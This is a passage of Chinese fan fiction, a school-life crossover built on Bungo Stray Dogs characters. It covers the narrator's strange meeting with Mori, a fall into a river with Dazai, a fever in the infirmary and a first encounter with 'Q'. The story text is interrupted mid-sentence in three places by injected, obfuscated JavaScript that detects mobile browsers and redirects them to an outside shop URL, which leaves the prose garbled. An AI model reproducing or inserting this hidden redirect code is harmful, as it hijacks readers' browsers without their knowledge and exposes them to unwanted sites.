话又说回来,刚刚男人一直在和谁对话,但自始至终只有他一个人的声音,从门缝往里看也只看到男人一个人对着空气自言自语。现在男人当着众人的面和空气说笑,红叶学姐又对此习以为常,还对不存在的“爱丽丝”问好。 现在天还亮着,排除闹鬼的可能…… 精神分裂症。 这个男人有精神分裂症。 “你好,我是黑手党的首领森鸥外。你可以叫我森先生,当然我也不介意你和他们一样叫我首领。”这个男人朝我微笑。尾崎红叶眼中一闪。 “精神病好,精神病总比……合法……”我喃喃,由于声音太小中间的词汇没有被听清。 “?”森先生继续微笑:“小佑对吗?你说什么?” “啊……没有没有……”短短一个念头,使我对森先生瞬间充满关爱。“抱歉,森先生。我误闯到这,因为被您的话……吸引,没有及时离开。” 想到平时森鸥外的言行,尾崎红叶露出微妙的神情:“嗯,这确实不怪你。”也能侧面证明这孩子很有正义感。 “红叶君?” “首领,我是说,小佑不是有意的。” 森鸥外叹道:“贪玩而已,不是什么大事,不要紧。”他把目光转向我:“小佑,闲暇时间也可以来找爱丽丝玩哦,她很喜欢你。” 我头顶留下一滴汗,尬笑着朝前胡乱rua了一把空气,乱七八糟地笑着:“是吗?哈哈,爱丽丝真是可爱,我也很喜欢她——” 森鸥外默默看向跑到我身侧观察我的爱丽丝:“……”根本没摸到她人啊。 我顺着他的目光看向空无一人的身侧,默了一瞬,又小心摸了摸旁边的空气。 森先生你的幻想还挺智能的,我以为我朝前一摸在他眼中就会自动生成一只爱丽丝呢。 气氛莫名又诡异起来,难道我还是避免不了冷场的命运?到底哪里出错了啊! 守着门口的中也古怪地看了我一眼,打招呼摸人家爱丽丝的背干嘛。 算了,可能是女生间的特殊礼节吧。看着爱丽丝哭着跑开,中也咬着牙移开视线。反正首领和红叶大姐让他不要插手,他才不会吐槽。 森先生朝我再次露出尴尬又不失礼貌的笑容:“小佑你……看不见爱丽丝吗?” 我当然想像红叶学姐那样装作看得见爱丽丝来安慰这个精神病患者,但爱丽丝在他眼中似乎有特殊的行动轨迹,不会随着我的动作和我互动。我干脆自暴自弃:“当然了,谁看得见不存在的人啊。” 尾崎红叶和森鸥外微微变色。 “……这样么?”森鸥外的眼神变得深邃,面色如常地说,“既然误会已经解决了。红叶,你把小佑带走吧。” 尾崎红叶点头,带着我走出办公室。我和中也擦肩而过,他扶了扶帽沿,留下一句:“中原中也。” “诶?” “我的名字。”他露出一个杀气腾腾的笑容:“再叫出那两个讨厌的字——你知道会发生什么吧?千叶佑木?” 我汗颜,连忙答应。 得到回应后,中原中也冷哼一声转头进了首领办公室。红姐学姐领着我回到四楼属于她的办公室。 一路无话。 我没有开口搭话的意思,沉默地抱着伞跟紧学姐。 尾崎红叶隐晦地从拐角的反光观察身后低着头走路的女孩,不动声色地叹了口气。 被吓到了啊。 “小佑,进来吧,要喝点什么?”到了尾崎红叶的办公室,她温声说。 我摇了摇头,闷声说:“不必了……学姐,这是你的伞,昨天多谢。” 尾崎红叶接过伞,笑着说:“不必客气,我们也算朋友了。加个LINE吗?” 我顿了顿,惋惜地说:“我没有带手机呢,学姐,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213637|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是下次吧。” 尾崎红叶定定地看着我,我垂下眼眸不与她对视。良久,尾崎红叶笑着叹口气,无奈地说:“好吧,那下次再见,小佑。” 我朝她不太自然地笑了一下,转身走向电梯。一路走出黑手党的大楼,我控制不住越走越快,最后干脆跑了起来。 在咖啡店偶然认识的漂亮学姐暗中把我的档案翻了个遍,却任凭我误会她是学生会;按错电梯层数没想到遇到了有奇怪发言的社长;没来得及思考就被莫名其妙按倒在地上,还在漂亮学姐面前出了这么大糗;精神分裂症的发病现场也很吓人…… 讨厌、讨厌的一天—— 不知道跑了多久,我在一个校内一条小河边停了下来。我蹲在河岸旁边喘着气,想象讨厌的记忆顺着脑袋爬出来,沿着河流飘走…… 诶?这算污染河流吗?就算是精神方面。 话又说回来,之前好像听过一则新闻。是说每日对着植物辱骂,植物会逐渐枯萎。那我现在对着河流排放精神垃圾,小河会不会变脏…… 等等,河里爬上来个什么?? 我惊恐地睁大眼睛。 此时天色昏暗,但这块地方好歹也算校内的散步圣地,此时路过的零星几人竟然没有一个人为此驻足,好像看见了什么习以为常的东西。我眼睁睁看着有一坨棕色的东西顺着小河漂过来,在河中央抽搐,挣扎着爬上岸—— “啊——什么鬼东西?!”我破防了,想要后退,慌乱下被什么东西绊住了脚,直接摔到地上。路边的小石子硌着手心和小腿,传来火辣辣的痛感。我无暇顾及伤口,紧紧盯着那坨不明物。 不要过来啊—— “啊,没想到小佑你还有成为女高音的潜能。”那坨棕色的外套被男子恹恹掀下,露出清秀的容颜。 那正是太宰治。 我惊疑不定地看着他:“你……你为什么从河里爬出来?” “日常入水啊。”他蔫蔫地从头顶拂下一根不明植物,注意到我还狼狈地倒在地上仰望他,他又叹气朝我伸出了手:“不会以为我向你发出的殉情邀请是在开玩笑吧,小佑?” “我保证……我只是对着小河排放了不到五分钟时间的精神垃圾……”我喃喃:“为什么真的有脏东西——” “……小佑,刚刚说了很不礼貌的话吧?” 他微微低头,那还未回神的少女微微张着嘴,似乎陷入了头脑风暴。那双平时从来只会用仿佛某种动物幼崽一般、纯良无害的眼神盯着别人的褐色瞳孔,此时在灯光下的倒影被他占据。 我用力摇了摇头,没有管他伸出的手,自己扶着旁边树干慢慢站了起来。冷风吹过,使我找回了几分理智,我勉强问:“太宰学长,你还好吗?你身上都湿透了,快回宿舍换衣服吧。——有没有受伤?需要我帮忙吗?” 太宰治没有回话。 良久,他悠悠叹气,说:“小佑真是没有变过啊。”他拖长声音:“还是这么温柔——” 我忍不住催促:“太宰学长!”不要再说废话了!我身上的擦伤真的很痛啊!需要去找与谢野学姐处理QAQ 他的声音突然冷了下来:“可是,你的温柔也一如既往的廉价呢?” 我愣住:“什么?” 18. 邀您共浴 “如果可以,小佑想撇下我直接离开,走得越远越好,是吧?可碍于你自作多情的同理心,你非要留下来问我是否需要帮助,提供你无用的温柔。” “我……无用的,温柔?” “某种程度上来讲,小佑真是自大,你从来不管别人是否需要你的关心。” 有些人天生就有爱人的能力。 你的温柔啊——你的温柔。 就像自助餐,像街上的爱心雨衣,像夏日提供的免费绿豆汤。 不问需要与否,不论贫贱富贵,不管来者去向。要多少有多少,随便一抓,就是大把。 但这不是他想要的。 ——月光能照耀少年的夜路,可一想到每个人都平等地享受月光,他就对这片皎洁失去兴趣。 “我自大吗?”我低声问道。 看着我晦暗的神情,一向恶劣的太宰治难得有些不适,冥冥之中好像有个声音告诉他不该这么做。但他没有接话,简略又细致地瞥了一眼我的周围,确保没有什么危险后,他怏怏地说:“我先回去了——小佑想留下来喂蚊子的话,随便你。” 说了这么多过分的话,会被小佑彻底讨厌吧。这样就好,日后也不会有机会和谐相处,那就此别过—— 我看着他抬脚欲走的身影,心中翻涌出无数回忆。想起他上次利用我套中也学长的情报,又把中也学长的帽子扔掉留我一个刚转学过来的学妹肚子找半天,心情不好在河边发泄却被这个入水狂魔吓了一跳,打起精神关心学长反被说了一堆奇怪的话……我像是剧烈摇晃后的碳酸饮料,件件小事像气泡一样细密又迅速往上聚集,最终冲破瓶盖,泡沫争先恐后地冒出来。 旧恨新仇,积怨于心。我磨了磨牙,怒从心头起。朝前一扑,抓住他的衣角,用破防的嗓音冲他吼:“啊啊太宰,我和你拼了——” 太宰治:“……”这年头流行精神攻击吗?耳膜要震破了! 我的计划里从来没有回避误会一说,有问题就应该立马解决掉。我一定要把他揍一顿,然后把话和他说清楚—— 这时,我脚下一滑,又被某树根绊倒。手里还揪着太宰衣服,就这样和他一起再次滚进河里。 这很河里。 落入河中之前,我在天旋地转中看见太宰治同样迷茫的脸。 诶?? 我和他的内心同时被刷屏。 ——这不对吧?我可不想(再)入水啊!! ……最后被来找太宰治的搭档救上来了。 我已经被河水冲傻了,根本问不出我的身份。因此那个金发男人干脆把我和太宰一起拎回了……武装侦探社。 其实我的这段记忆很模糊,因为当时实在太冷了,还呛了水,大脑处于半休眠状态。迷迷糊糊中我想,跳河这么难受,太宰学长怎么想的啊。 被带到侦探社后,看到浑身湿透的我,直美她们惊叫着迎上来,把我围住询问情况。与谢野学姐居然也在,她皱着眉头把我从一堆人中像拎小猫一样拎出来,推到社团的淋浴间让我冲了个澡。 冲完澡的我感觉大脑被重新启动了。穿着与谢野学姐的衣服沉默地坐在侦探社的大厅中。一旁的太宰治也换了干净衣服,和我面面相觑。 “说吧,你们两个,怎么回事?”那个自称为国木田独步的金发男人站在我们中间,抱臂说道。 因为怕我着凉与谢野学姐先让我洗了澡,身上的擦伤只是匆忙用防水胶带包起来。现在洗完了澡,她把我胶带取下来,正小心地给我包扎,动作竟然惊人的轻柔。 放学到现在遇见了太多事,先进黑手党受了一波冲击,又和太宰一起栽河里,冲了一个热水澡后,我的脑袋其实有些犯困。受了一天委屈的我面对直美她们的关心,忍不住滚下热泪。 “诶?佑木怎么哭了……”宫泽贤治最先发现我的情况。 春野绮罗子连忙围了过来,心疼地摸摸我的脸:“要不是国木田学长及时发现,佑木不知道要在河里泡多久呢……” 谷崎直美赶紧催促谷崎润一郎去倒杯热水,转头紧张地问:“佑木你还有哪里不舒服?” 我擦了擦眼泪,朝她摇了摇头。往日活泼的少女此时耷拉着脑袋,无精打采地在座位上任凭医生包扎,引起了众人的心疼。 宫泽贤治问:“话说,佑木怎么会和太宰学长一起掉水里?” 与谢野晶子给我包扎的动作不停,凉凉地说:“没准是太宰终于找到了殉情对象。” 想到太宰治劣迹斑斑的前科,国木田独步头顶爆出青筋,看着太宰治沉声说:“太宰,你来说。” 太宰治蔫蔫地瘫在沙发上,整个人好像融化一般陷下去,懒洋洋说:“诶 ,国木田真是讨厌啊。差一点就能实现我的终极目标了——还是这样不可多得的绝美学妹。” 此言一出,相当于坐实了诱骗学妹殉情的名头。国木田独步的怒火一下被点燃,上前一步抓起太宰治的衣领:“你这家伙——” “不是的。”看见太宰即将被揍,我连忙插话,声音还带着些哭腔。 此时的我穿着学姐的衣服,喝着社员倒的热水,被侦探社的小姐姐们簇拥,一边给我上药一边对我嘘寒问暖。而太宰治陷在沙发里,独自一人面对国木田独步的怒火。 ——这怎么分的清谁才是侦探社成员啊!! “是我和太宰学长有些争执。我不小心摔倒了才把他扑下水的。”我抓住国木田衣角,有点害怕地说,毕竟他暴怒的样子真的很像下一秒就要冲过去暴打太宰。 国木田微怔,拧眉转头看向我:“你……” “而且,在水里,太宰先生一直抱着我,防止我受伤……” 在河里,虽然我在使劲扑腾,甚至无意中蹬了太宰好几脚,但他仍然紧紧揪着我的衣领防止我被冲走,因为水里有被冲过来石头,他还护着我的脑袋。不过全程都没有碰到过我的皮肤。 沙发里融化的一坨黑泥微微动了动眉心,他抬眸丧丧地看我一眼,没有说话。 “太宰学长,对不起。”我差点又要飙出眼泪。被与谢野晶子按住了:“你这家伙,别太容易受骗啊。如果太宰不想的话,根本不会被你扑到吧?” 我抽抽搭搭:“明明是我……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213638|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “太宰,说句话,嗯?”与谢野晶子尾音上扬。 “啊……总之。”太宰治懒洋洋的发话:“我对小佑说的话,一直有效哦?” ……什么话。 那些说我自大、没用的话吗? 我的眼底迅速凝聚泪水,再也无法控制地大声哭出来。太宰学长,你的话也太扎心了吧。 “呜呜……我知道了……太宰学长……”我捂住脸爆哭。与谢野晶子深吸一口气,冒着火看向太宰治。 太宰治:“……我说的是殉情。” 沉迷于悲伤的我没有注意到他说的话,反倒是国木田独步朝太宰治怒吼:“不要再为侦探社招黑了!” 围观的谷崎直美:“乱成一锅粥了,趁热喝了吧。” 宫泽贤治:“诶?晚上喝粥吗?” 谷崎润一郎扶额:“怎么说呢……有时候觉得侦探社,真是前途无亮啊。” 春野绮罗子疑惑:“你们兄妹适合说这话吗?” 刚出外勤回来的中岛敦和泉镜花,站在门口沉默。 “怎么说……终于有被太宰学长始乱弃终的女人找上门了吗?” “……那是千叶。” “千叶……?等等,千叶怎么是你啊!” 武装侦探社,今天也是充满活力的一天。 最后穿着和服、有些眼熟的社长出面,向我表示歉意。我解释了半天不是太宰的问题,可他们似乎对太宰治有种心照不宣的了解,并没有多言。 最后,我含泪在侦探社蹭了一顿外卖,被宿舍离得最近的泉镜花送回女宿休息。 “佑木,你和黑手党现在怎么样?”路上,泉镜花低声问。 又是黑手党……我感到头痛欲裂。 “抱歉,改日再聊好吗?”我蔫蔫地说:“我现在有点累,想赶紧休息。” 泉镜花绷着脸点点头,看着我进了宿舍。 我翻出新校服换上,把换下的与谢野学姐的衣服和我在侦探社换下的脏衣服分开装进脏衣篓,打算晚上去洗衣室洗干净。收拾好后我坐在床上打算休息一下。 没想到一沾床就睡了过去,醒来不知道几点。我在桌子上摸了半天,突然在黑暗中被塞了一杯温水。 我先吓了一跳,后面想到是小银回来了。 “小银?” “嗯。”小银没有发现我的异常,直接地问:“下午怎么样?” 她指的是还伞的事。 我沉默良久,半晌说:“挺好的,虽然走错楼层,但有幸见证你们首领私下的一面。” 小银:“……”跑到首领办公室了?有种不好的预感。 “代价是被中原中也按地上了。”我幽幽道。 小银扶额。 “出来的路上还被前黑手党成员用莫名其妙的话嘲讽。”我继续。 “……太宰学长?” “是啊,和他一起掉进水里。最后被侦探社救了。” 小银持续沉默。 虽然但是……她好像理解泉镜花为什么叛逃了。 黑手党文化交流协会……真是前程似井啊。 19. 医务室二进宫 我打起精神和小银聊了会天,小银的心情莫名有些低落,或许是期待被打破后的沮丧。但很快发现我的不对劲。 “佑木?”她在黑暗中凑过来摸了摸我的头,很快离开。窸窸窣窣的声音响起,接着灯被打开。 小银看着我通红的面颊,反应过来:“你说你今天落水了?” “是啊,没什么事啦,小银。” “你都开始发烧了。” 诶?有吗?确实感觉头晕晕的,有点难受。不过,应该不要紧吧? 小银不再多言,果断背起我,奔向医务室。 这么晚了,医务室老师应该早就下班了。小银已经做好带我出校去医院的准备,出乎意料的是,医务室的灯还亮着。 “又是你?”与谢野晶子挑眉看着银,主动侧开身:“先进来吧。” “与谢野学姐?你还没回宿舍吗?”我晕乎乎地问。 “害怕某个蠢货半夜发烧,干脆就在医务室过夜了。”与谢野晶子没好气地说,把温度计拿出来抖了抖,交给我。 她又对银说:“你先回去吧。看她这个样子,明天也上不了课,记得给她请假。” 小银垂眸:“我留下来……” “先别说你会不会添乱。”与谢野晶子的声音突然冷了下来。“你觉得我会忍受和一个黑手党待一宿吗?” 小银沉默了。她朝与谢野晶子鞠了一躬:“麻烦学姐了。” 与谢野晶子冷冷地说:“慢走不送。” 银推开门离开了。 我温吞地说:“学姐……” “怎么?心疼你室友?” “啊?”我摇摇温度计:“体温量好了。” “……” “真不知道你是心大还是脑袋缺根筋。”她一边吐槽一边接过温度计。 “学姐不想让她留下来一定有理由。”我说,“而且我不需要小银照顾,不如回去休息。” 她轻嗤一声,转身又翻箱倒柜地给我找药。 也许是今天心情起伏太大,也许只是持续发热。我很快又开始犯困,被与谢野晶子强行喂下药后,我昏昏欲睡。 “与谢野学姐……”我迷糊地嘟囔。 “……你是小孩子吗?发烧还说胡话?”她不耐烦,最后还是把头凑过来一些,自言自语:“不会是什么遗言吧?” “……谢谢你的照顾。”说完,我睡死过去。 “什么嘛。”她不自在地理了理头发。照顾病人是医生的本职吧。 ……更何况病人是你。 “与谢野学姐——要不你直接用你的异能力把我治好吧。”大清早,我躺在病床上胡言乱语。 “如果可以那样做就好了。”与谢野晶子闻言冷笑。“可惜「请君勿死」只能治疗外伤,对感冒发烧可没用。我现在把你削一顿,充其量治好你的擦伤。” 她正照着医务室的镜子,缓缓系好校服扣子。此时是我发烧的第二天,看我吃完药后睡醒状态好了很多,与谢野学姐干脆去上课了。反正二年级教室离医务室不远,她课间过来看我一眼就好。 “你们异能力还有这么精准的设定吗。”我小声吐槽,没敢让她听见。 ……说回来,那之前的轻度肠胃炎,也无法“治疗”吧?与谢野学姐明明在吓唬我。 她嘴上不停:“上次说过吧?如果‘再见’的地点是医务室,我可不欢迎。” “谁想到,才过了几天,你这家伙又进来了。” “这可不是我自找的,学姐。”我坐起来一会感到乏力,无聊地躺回病床,“我可没有入水的计划啊。” 提起入水,又想起昨日和我一起落水的那个少年。 如此讨厌我,又在有危险时紧紧护住我的奇怪少年。 我叹了口气。 “在内疚?因为太宰?”确认头发整齐后,与谢野晶子把一旁的金属蝴蝶发饰拿起,对着镜子别在头发上,金属发饰闪过冰冷的光芒,从反光中中瞥见我失落的神情,随口问。 “学姐你的异能力不包括读心术吧?” “是你的心思太容易猜了好吗。”与谢野晶子无语。 “有吗?毕竟是我害他又落水,还被国木田那样训斥……”我又撇下了嘴。昨天我动辄即哭的才能真是把从小没见过几次眼泪的与谢野晶子吓到了,现在看我一撇嘴就有我下一秒要哭出声的预感。与谢野晶子毫不留情地吐槽:“太宰下水和吃饭一样频繁,要不是这次带了个你,国木田都不会去捞。落水这对他来说根本不是事啊。” “至于国木田的训斥?那家伙脾气来得快去的也快,正义感又超强。今天在社团肯定会被太宰以这个理由让国木田帮他写报告。” 她诡异地沉默两秒,自言自语:“不,今天可能就不会出勤。这是多完美的请假理由,按照他的性格一定会翘两三天班。” 我:“……”完全符合太宰的逻辑 “你对太宰的了解太少了,被他骗得团团转。”与谢野晶子怜悯地望着我。“只要你对他有一点了解,就会知道他根本不可能被扯进这种‘意外事件’,除非他默许甚至故意。” “可他还挺讨厌我的。”我迟疑地说。 与谢野晶子的眉毛高高挑起,“和你们的争吵有关?”她显然对这件事很感兴趣,低头看了看手表发现还有五分钟的空闲。她冲我挑眉:“介意和你的救命恩人分享么?” 这个梗,居然没忘。我慢半拍想到。 不过这也不算什么机密。我老实地把昨天太宰说的话复述了一遍。 “……”听完的与谢野晶子脸色古怪。 “他说我自作多情,爱管闲事。”我总结,“太宰学长一定很讨厌我。” 说到这,我忍不住又惆怅地叹了口气。 与谢野晶子嘴角抽了抽:“你们两真是……奇葩。” “学姐?” “嘛,以我对他的了解,这家伙才不会对讨厌的人说这种话。” 我大惊失色:“难道太宰学长已经开始恨我了?可我什么都没做啊!” “……”与谢野晶子扶额。 她看了看手表,已经过去四分钟了。与谢野晶子不再解释,索性拉开医务室的门准备去教室,她嘱咐道:“在医务室好好待着,我课间会来看你。” “至于太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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离开帝丹中学时我很难过,因为我被安排去一个人生地不熟的高专。在高专的日子还算可以,五条悟脾气才不算好,但夏油杰与硝子倒是很照顾我。即使五条悟偶尔捉弄我,我也不会太生气,因为和我设想中被排挤的结果已经好太多。 到了横滨就更不可能了。横滨的大家很有意思,每一天都很开心…… 打住!仔细想想,仔细想想与谢野学姐的话……我发脾气的时候…… 突然想到国中时的一件事。我和小兰圆子新一约好去公园玩,但是那天我和小兰圆子在公园门口等了很久,才等到新一匆忙打来的电话,说他因为在帮警方破案没办法赴约。小兰虽然失落仍然嘱咐新一注意安全,圆子不满也没有多说,毕竟是在帮助警方。 那时候的我已经怒火中烧,抢过小兰手机大骂工藤新一那个王八蛋居然敢放三个美少女的鸽子让我们白白等这么久,无法履行约定的家伙活该和案件过一辈子……等我神清气爽挂断电话,看见小兰和圆子瞠目结舌的面容才反应过来我干了什么。 小兰试图为新一解释,什么一遇到案子就走不开,从小到大一直如此,有这样惊人的侦探天赋也应该为警方出力…… 我闷闷道,可他永远不会想到我们抱着什么样的心情等了他多久。 小兰沉默了,她垂眸遮住同样失落的眼眸。最后圆子拍拍小兰肩,小声对她说佑木开始接受我们了。 或许还有一次。在高专时因为家里的杂事,需要出校办理一些事务。当时还没办法自由出入高专的五条悟托我给他带街上新开甜品店的热门甜点。我虽然郑重答应,但由于当天事务太多,把这件事抛之脑后。很晚的时候终于回到了高专,猛然想起来忙了一天把答应五条悟的事情忘了。 20. 悲伤色彩的梦境 一直很任性的五条悟当然开始大吵大闹。也许是当时太累,明明是我的问题,我却没有道歉,反过来和五条悟大吵一架。后来想起总是有些奇怪,客观上说,的确是我食言了,即使五条悟再生气我也不应该和他吵起来。但当时的确当着同期的面发了好大一顿脾气。 诚然路上遇到无理取闹的陌生人、生活中遭受不公平的对待,会有怒气积攒在心胸之中。但正常人都会第一时间想如何处理,而不是朝不熟悉的人发泄愤怒。 ……原来是这样啊。 因为对它抱有期待,因为与它足够熟悉,因为觉得它值得信赖。所以才会在失望、委屈、不满的时候,冲它发脾气吧。 太宰学长。……这是答案吗? 但我还是不明白为何他对我的态度突然发生如此大的变化,明明我们只见过几面。是因为自杀没成功,心情不好吗? 等等。自杀。 此时我突然发现一个致命的问题。我绝对无法解释的漏洞。 即使我在那个时候没有直接离开,仍然想要帮助他,但面对从水里爬出来的太宰治,我没有问过哪怕一句: ——你为什么要自杀? 这背后隐藏的,是我想要远离他的迫切心情。我根本不在意他为什么想自杀,也没把他所说的殉情当回事。我只是习惯了提供帮助,哪怕他拒绝了我,我第二次、第三次还是会伸出援手。但我之所以想帮助他,不是因为我喜欢太宰治,而是我习惯了处于“施救者”的位置。 真是敏锐啊,太宰学长。 后来,新一又约我们去了水族馆玩,这次没有食言,他也主动向我和小兰圆子道了歉。即使后来仍有被案件耽误出游的时候,他也记得第一时间通知我们。发完脾气的我在经过一段时间的不好意思后,和三人相处得更自然了。 五条悟这样难缠的同期,吵完架后竟然没找我麻烦。只是和我开启了小学生似得冷战,虽然有硝子和夏油安慰着我,还是难免时常低落的情绪。直到有一天他出任务,带回来那家甜品店的新品,一言不发地分给我们几个,居然还有我的份。硝子和夏油不爱吃甜食,最后我一个人含泪吃了三份,居然和五条悟诡异地和好了。 我的两次发火都得到了解决。那么我和太宰,需不需要有一个结果呢? 不知道什么时候又睡着了。 也许是不经意想到了小时候的事情,就像埋下的一粒种子在心中疯狂生长,我的梦里居然出现了那个小小的身影。 多可爱的女孩,只有小小一点,近看五官,粉雕玉琢,玲珑剔透,虽然很不好意思承认,但这的确是我。华贵精致的衣服衬得她更金枝玉叶,似乎本应享受世间美好。 可是她并不开心。 我感觉自己的脑袋又在发热,整个儿晕乎乎的。不安地在病床上翻了一下身。 梦境波动了一下,很快稳定下来。她坐在院子的台阶上,一双灵动的眼睛此时充满郁色,安静地看着院子中打闹的孩子。 这是我的异能力。其中一个在院中打闹的孩子摊开手心,得意地展示着。他的话吸引了女孩的目光,循着声音看去,却只看见他摊开空空的手掌。 好累。我这样想着,喉中一阵灼烧感,让人发不出声。想要喝水。我迷糊地摸摸床头,果然水杯已经空了。 明明什么都没有啊。在一片艳羡的惊叹中,女孩无动于衷地说。她的眼中充斥着怀疑与疑惑,这样匪夷所思的话让人群迅速安静下来。 好渴,好晕。脑子要烧坏了……“与谢野学姐。”我喃喃道。但是与谢野晶子上课去了,此时医务室只有我一人。但一阵被凝视的感觉久久不散,我不安地揪紧被角。 你当然看不到。那个得意的男孩把手掌合住,不屑地说。他高高抬起头,藐视着眼前皱着眉的女孩,继续道,因为你是怪物,你连普通人都不如。人群大笑起来,用怜悯又兴意盎然的目光观察那个可怜孩子。 “水……”我无意识地说。此时被留在医务室的我,像一个被抛弃的孩子,无助又委屈地呼唤母亲,却不知道自己早已注定的结局。 讥讽的笑声中,孩子无措地后退几步,像是被男孩的话伤到。在充满恶意的小院中,女孩下意识想逃离,四顾周围,无处可避。她再也无法忍受此处,躲开人群想从门口逃离,却一下被对小孩来说仍太高的门槛绊倒。 人群的笑声更为明显,那个男孩用着天真又兴奋的语气说,我手上的火焰,你根本看不见吧,那就来感受一下—— 他紧紧握住女孩的手,灼烧的感觉立马从手臂传来。女孩发出一声惨叫,试图挣扎却无济于事。 这时,人群突然静了下来。 感受到灼烧感突然消失,女孩抽噎着睁开眼睛,看见一个黑色微卷发的男孩握住了那个孩子的手。 注意到她的视线,男孩微微侧目。他的眼眸黯淡无光,充满着死气与厌倦,露出的肌肤除了脸都被绷带裹住,像是恐怖片里的绷带怪人。明明他衣衫整洁、面容俊俏,女孩却好像嗅到了腐朽的味道。 ……反异能力者,不止是你。男孩缓缓说。 我好像在朦胧中听到一声渺远的叹息,像是无奈地接受命运的恶作剧。接着有东西轻触我的唇瓣,当我意识到那是玻璃杯壁时,清水已经顺着喉管滑下。那人控制着力度不让我呛水,动作轻柔到不可思议。 “……佑木?你醒了?” 我努力想再陷入梦乡,耳边的呼唤不停,最后声音的主人好像不耐烦了,一把揪住我的耳朵把我扯起来。 “醒了还在装什么!让我白担心吗?”与谢野晶子冷笑,使劲捏了捏我的耳垂。 “痛啊!学姐!我也才刚醒啊!”我惨叫着捂住通红的耳朵。我接过她递过来的体温计,头顶冒出问号:“学姐,还量体温吗?” “你刚刚烧得太厉害,神志都不清了。再量一□□温我看看。” “好的……学姐你不上课?” “离开一节课你就成这样了,我怎么放心上课?”与谢野晶子不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“打住!”我双臂交叠在胸前向他比了个叉。你是华农贤治吗! “啊?好的。”贤治乖乖闭了嘴。 我试图解释道:“只是在医务室躺了一上午,有点无聊吧。” “心情不好不利于身体康复呢。”贤治想了想,问:“佑木要不要和我回乡下玩?” “诶?贤治你老家吗?” “是的。乡下空气比城里好很多,也很有意思的。与谢野医生,可以吗?” 与谢野晶子挑眉:“你们俩愿意就行。贤治,你老家离横滨很远吧?” “唔,确实。我这次回家应该要待两天。” 我:“那还是长假去吧。” “月考后刚好有四天长假,对你们来说刚好合适。”与谢野晶子补充。 太好了,四天长假…… 等等! “月考?!”我失声。 声音没有控制住,与谢野晶子皱着眉把我的头按了下去:“对啊,一周后。” ……想起惨淡的作业,我整个人都不好了。 不对!佑木振作起来!这可是转学以来第一次考试!一定要让大家见识到你的实力!我给自己打气,尽管一边打一边漏。 “佑木一下燃了起来呢。”宫泽贤治感叹道。 “呵,这家伙……不对!她明明是又烧起来了啊!” 21. 诡异的“Q” 在我的劝导加再三保证下,与谢野学姐下午还是回去上课了。一方面是不想耽误与谢野学姐上课,另一个方面是……学姐的眼神就和手术刀一样嗖嗖往我身上刮,压迫感太强qaq “话说,我又不是小孩子,学姐倒也不用反锁门吧。”我弱弱说道。 与谢野晶子皱了皱眉:“锁病房门是别的原因。小学部有个很危险的家伙早上要来高中部换药,你和他碰上会很麻烦。” “小学生?”我有些吃惊,“有什么病吗?为什么不去小学部医务室?” “所以说他很危险。”与谢野晶子耸肩,“高中部强大的异能力者多,出了事情能及时处理。”当然最主要的是太宰坐阵。不过与谢野晶子干脆没说。 我脑中自动翻译:高中打手多,对皮痒小孩子起到威慑作用。 “既然如此,下午就不必锁门了吧。”我告饶。老实说,锁住的房间让我感到不舒服。 也许是察觉到我的不安,与谢野晶子没有多问,倒是很爽快答应了:“没问题。早上是我不对,没有提前和你说。”我连连摆手。 与谢野晶子走后,病房迅速安静下来。我不动声色地长呼一口气,安静的环境总会让我心情平静下来。 ……过了一会,我焦虑地在病房里转圈圈。想着月考的事情。 月考居然这么快就来了,我当然做不到像其他学生一样松弛。一来我基础差,不知道自己成绩怎么样;二来已经有许久没有参加过这么多人的考试了,实在紧张。 门外传来一阵骚动。 我眉心一跳,有点惊讶。想起与谢野学姐说的那位早上过来包扎的小学生,心想不会这么巧吧,刚好改到下午来? 下一秒,病房门被拉开,医务室的田中老师把头探进来。看到我,她愣了一下,随即说:“啊,你就是晶子嘱咐过得那个病人……” 想到什么,她皱着眉退出病房,对外面的人解释:“抱歉,这个病房有人在养病,我们去隔壁病房换药吧——” 话音未落,门再次被推开。映入眼帘的先是一个小小的发旋,原来是从门缝挤进来一个小孩子,田中老师似乎忌惮着什么,也不敢硬拦,就真让他挤进来了。那个小孩的发色半边黑半边白,带着可爱的装饰性小帽子,像个双拼小蛋糕。 嗯,这么说的话,夏目校长就是……三拼了吧!我又开始发散性胡思乱想。 小蛋糕突然抬起头,和那双眼睛对视上的一刹那我的灵魂仿佛战栗了一下。那双纯黑的眼睛里盛满了恶意和残忍,右眼里的星星随着他目光的移动而闪烁,看见我的瞬间,似乎愉快地高频闪烁了几下。 我暗道不好,他已经旁若无人地走进来,径直坐到旁边的空床位。 田中老师见他盯着我,已经变色,说:“Q——” 这个小孩被叫作“Q”?居然都不愿意用真实姓名称呼,而是改用代号吗。 “怎么?田中老师。” “你应该去隔壁病房。” “这里不是有空床位吗?”Q微微笑,只是那微妙的笑容中带着毫不掩饰的恶意,“而且这里还有漂亮的姐姐。” 